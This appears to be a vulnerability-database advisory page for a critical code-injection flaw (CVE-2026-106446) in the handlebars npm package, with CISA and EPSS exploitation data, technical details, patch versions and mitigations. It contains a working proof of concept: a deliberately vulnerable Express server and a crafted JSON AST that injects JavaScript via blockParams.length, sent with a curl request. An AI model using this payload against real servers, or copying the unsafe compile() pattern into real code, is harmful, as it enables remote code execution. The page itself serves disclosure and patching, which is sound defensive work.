CVE-2026-106446 is a critical-severity (CVSS 9.8) Code Injection vulnerability in handlebars. A fix is available for handlebars — see the affected versions and patch details below.
Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-106446.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-106446 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
handlebarsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.
If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.
Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:
| AST value | Written into generated code as | Compile options needed |
|---|---|---|
Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) |
depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true |
A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true |
A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |
The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:
- the
blockParamsobject has notype, so none of the type-specific checks apply, and - the walker skips the string under
lengthbecause it is not an object.
The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.
Proof of Concept
- Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
res.send(template());
});
app.listen(2123);
- Save this request body as
poc.json.missingHelperdoes not need to exist:
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
- Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:
Error: Injected code ran as uid 1000
Impact
An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().
compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Credits
Variant Program.blockParams
- Nick Mykhailyshyn - @whoareme
- jmoritzc53
- bhaswanthc
- dinhvaren
- n0tra4e
- PellaML
- kustundag
- kagebunsher
- sanmatte
Variant BooleanLiteral|NumberLiteral.value
- sondt99 Thai Son Dinh from VinSOC Labs (R&D)
- Ahmed-Elmahgob
- nikolakojic-rasit
- vk-can
- shenhuanageshei
- kustundag
- kagebunsher
- ffasterss
Variant PathExpression.depth
- hibrian827 Team Atlanta
- oss-security-shopify
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | handlebars | ≥ 4.0.0&&< 4.7.10 | 4.7.10npm install handlebars@4.7.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for handlebars, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update handlebars to 4.7.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-106446 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This flaw has an Important impact. Exploitation requires an application to pass a non-string object (for example, a JSON-deserialized value) to Handlebars.compile() or Handlebars.precompile(). Applications that only pass template strings are not affected. When that unsafe calling pattern is present, injected…
Upgrade to Handlebars 4.7.10 or later. Ensure only strings are passed to Handlebars.compile() and Handlebars.precompile(); reject non-string inputs. If templates are precompiled at build time, prefer the runtime-only build (handlebars/runtime) so compile() is unavailable on the server.Source: Red Hat security advisory for CVE-2026-106446 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-106446 in your dependencies?
Find it across npm, including transitive dependencies.